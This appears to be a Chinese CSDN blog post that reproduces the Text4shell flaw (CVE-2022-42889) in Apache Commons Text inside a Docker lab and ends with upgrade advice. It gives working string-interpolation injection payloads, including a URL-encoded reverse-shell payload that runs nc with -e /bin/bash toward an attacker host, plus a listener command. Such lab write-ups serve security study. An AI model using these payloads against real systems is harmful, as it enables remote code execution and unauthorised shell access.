[漏洞复现]Text4shell(CVE-2022-42889)

简介

Apache Commons Text 项目实现了一系列关于文本字符串的算法,专注于处理字符串和文本块。10月13日,Apache发布安全公告,修复了Apache Commons Text中的一个远程代码执行漏洞(CVE-2022-42889)。
Apache Commons Text版本1.5到1.9中,该问题的根源在于在DNS、脚本和 URL 查找期间执行的字符串替换方式可能导致在传递不受信任的输入时在易受攻击的系统上执行任意代码。
成功利用该漏洞可以使威胁参与者仅通过特制的有效负载打开与易受攻击的应用程序的反向 shell 连接,从而有效地为后续攻击打开大门。

影响版本

1.5 <= Apache Commons Text <= 1.9

环境搭建

GitHub地址: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

  1. 需要JDK版本11.0以上,跳过
yum update && yum install openjdk-11-jdk
  1. 安装docker
yum install docker.io containerd runc
  1. 新建文件夹安装mvn
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
  1. 从github拉取PoC
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
  1. 进入PoC文件夹后使用mvn clean install
../apache-maven-3.6.3/bin/mvn clean install

在这里插入图片描述

  1. docker拉取镜像
docker build --tag=text4shell .
  1. 启动docker测试app
docker run -p 80:8080 text4shell

在这里插入图片描述

漏洞复现

payload

search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

url编码
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

还可以尝试,我这个靶机好像不支持
search=${url:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
search=${dns:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

在这里插入图片描述

获取容器id

docker container ls

进入容器查看我们刚刚新建的文件foo

docker exec -it <CONTAINER_ID> bash

在这里插入图片描述

使用nc监听

nc -lvnp 4444

payload

search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20攻击机ip%20端口%20-e%20%2Fbin%2Fbash%27%29%7D

url编码生成参考https://www.urlencoder.org/
重要提醒:生成的编码包含:“.exec%27”。这是不正确的,它必须是“.exec%28%27”。由于 Medium.com 输入验证,无法使用“.exec%28%27”。我们必须手动添加缺少的“%28”…

漏洞修复

1.升级到 Apache Commons Text 1.10.0(1.10官方默认移除了script)

参考

1.https://blog.csdn.net/qq_44281295/article/details/127383312
2.https://baijiahao.baidu.com/s?id=1747458179022945119&wfr=spider&for=pc
3.https://mp.weixin.qq.com/s/2q5SL1CJAHVPMbKP2Pg_AA

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值